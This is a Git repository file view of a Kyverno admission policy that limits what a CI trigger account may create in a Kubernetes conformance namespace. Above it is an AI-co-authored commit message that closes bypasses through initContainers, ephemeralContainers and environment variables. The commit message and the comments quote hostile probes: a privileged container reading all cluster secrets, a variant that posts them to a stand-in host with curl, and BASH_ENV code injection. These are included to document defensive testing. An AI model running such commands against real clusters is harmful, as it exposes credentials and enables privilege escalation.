Files
home-network-k3s-impl/platform/kyverno/admission/conformance-trigger-job-shape.yaml
T
jakman85andClaude Opus 5 f6e8fb1fee fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:02:16 -05:00

378 lines
19 KiB
YAML

# Serves: R-SEC-02 (CI holds no broad cluster access)
#
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
#
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
# `create jobs` in namespace `conformance` can therefore create a Job that runs as
# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
# privileged identity unless something constrains the SHAPE of what it may create.
#
# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
# committed conformance run and deny everything else. The operator chose this model
# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
# GitOps-native alternative.
#
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
#
# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
#
# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
# enforceable half: the image must live under the conformance repository path AND be
# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
# registry path could publish a different digest. TIGHTEN THIS when the image is built by
# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
# PR, which is exactly where a change to the security boundary belongs.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: conformance-trigger-job-shape
annotations:
policies.kyverno.io/title: Constrain what the conformance CI trigger may create
policies.kyverno.io/category: Supply chain
policies.kyverno.io/severity: critical
homelab.keithjackson.dev/requirements: R-SEC-02
homelab.keithjackson.dev/scope: admission-only
spec:
validationFailureAction: Enforce
failurePolicy: Fail
background: false
rules:
- name: trigger-may-create-only-the-committed-conformance-run
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger may create ONLY the committed conformance run: a single container,
digest-pinned conformance-runner image, serviceAccountName conformance-runner,
command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
and only the `workspace` and `results` volumes. See
platform/kyverno/admission/conformance-trigger-job-shape.yaml.
pattern:
spec:
template:
spec:
serviceAccountName: conformance-runner
=(hostNetwork): "false"
=(hostPID): "false"
=(hostIPC): "false"
containers:
- image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
command:
- "./run.sh"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
=(privileged): "false"
- name: trigger-volumes-must-be-workspace-or-results
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
volume is how a constrained pod reaches a host path, a secret, or another SA's token.
# foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
# matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
# asserts EVERY volume is one of the two allowed names.
foreach:
- list: "request.object.spec.template.spec.volumes"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value: ["workspace", "results"]
- name: trigger-args-must-be-the-committed-flags
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Job args may contain only the conformance run's own flags
(--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
Anything else — a shell, a path, a redirect — is denied.
foreach:
- list: "request.object.spec.template.spec.containers[0].args"
deny:
conditions:
all:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
# =========================================================================================
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
#
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
# executing an arbitrary command, because Kubernetes places no `use` check on
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
#
# a Job with serviceAccountName conformance-runner and an initContainer
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
# needed — the suite has to be cloned at the commit under test. But while the clone logic
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
# the committed script from an attacker's: both are just `args` on a shell. So the clone
# logic moved into the runner image at a fixed path
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
# rule pins `command` to that path with NO args. An admitted init container therefore
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
# itself validates against ^[0-9a-f]{40}$.
#
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
# element matches", which would admit the committed clone step PLUS an arbitrary second
# init container — the same class of hole rule 2's comment describes for volumes.
# =========================================================================================
- name: trigger-initcontainers-must-be-the-committed-clone-step
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
committed clone step: the digest-pinned conformance-runner image,
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
escalation, not privileged. An initContainer running a shell with a caller-supplied
script is arbitrary code execution as the privileged conformance-runner SA — the
escalation the rest of this policy exists to prevent. See
conformance/incluster/conformance-clone.
foreach:
- list: "request.object.spec.template.spec.initContainers"
deny:
conditions:
any:
# At most one. The committed run needs exactly one clone step; a second
# init container has no legitimate purpose and is how you smuggle one in.
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
operator: GreaterThan
value: 1
# Digest-pinned under the conformance repository path — same rule as
# containers[0], same honest limit (see IMAGE PINNING in the header).
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
operator: Equals
value: false
# The baked-in entrypoint, exactly — not a shell, not a second path.
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
operator: NotEquals
value: "/usr/local/bin/conformance-clone"
# NO ARGS. This is the whole point: args on an init container are
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
- key: "{{ length(not_null(element.args, `[]`)) }}"
operator: GreaterThan
value: 0
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
# the COMPLIANT value false into true and deny every good Job.
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
operator: NotEquals
value: true
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
operator: NotEquals
value: false
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
operator: NotEquals
value: false
# =========================================================================================
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
# container list on a PodSpec, and it was as unread as `initContainers` was.
#
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
# when the field is absent, and removes the need to be right about it. If the API server
# does reject it, nothing changes; if it does not, this is the same hole again.
# =========================================================================================
- name: trigger-may-not-declare-ephemeral-containers
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not declare ephemeralContainers. The committed
conformance run has no use for one, and an ephemeral container is a third container
list running as the privileged conformance-runner SA with an arbitrary command.
deny:
conditions:
all:
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =========================================================================================
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
#
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
# environment variable on either container.
#
# That is not hypothetical. Both programs the Job runs read their environment:
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
# image (it dies on a mismatch rather than honouring a redirect — which is why the
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
# already closed there, in the image, not here);
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
# thing standing between a caller-chosen env var and the privileged SA.
#
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
# name is what a program keys its behaviour on.
# =========================================================================================
- name: trigger-env-names-must-be-the-committed-set
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may set only the committed environment variables. The runner
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
conformance-runner SA. Widening this list is a reviewed one-line change.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONF_ARTIFACTS
- CONF_EMIT_ARTIFACTS_TGZ
- TMPDIR
- HOME
# Flattened across init containers: the rule above already caps them at one, but this
# must not silently stop checking if that cap is ever relaxed.
- list: "request.object.spec.template.spec.initContainers[].env[]"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONFORMANCE_GIT_SHA
- CONFORMANCE_REPO_URL
- CONFORMANCE_SRC
- GITEA_USERNAME
- GITEA_TOKEN
- TMPDIR
- HOME
- name: trigger-may-not-use-envfrom
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
as environment variables, whose KEYS are not visible in the Job at all — which would
make the env-name allowlist above unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0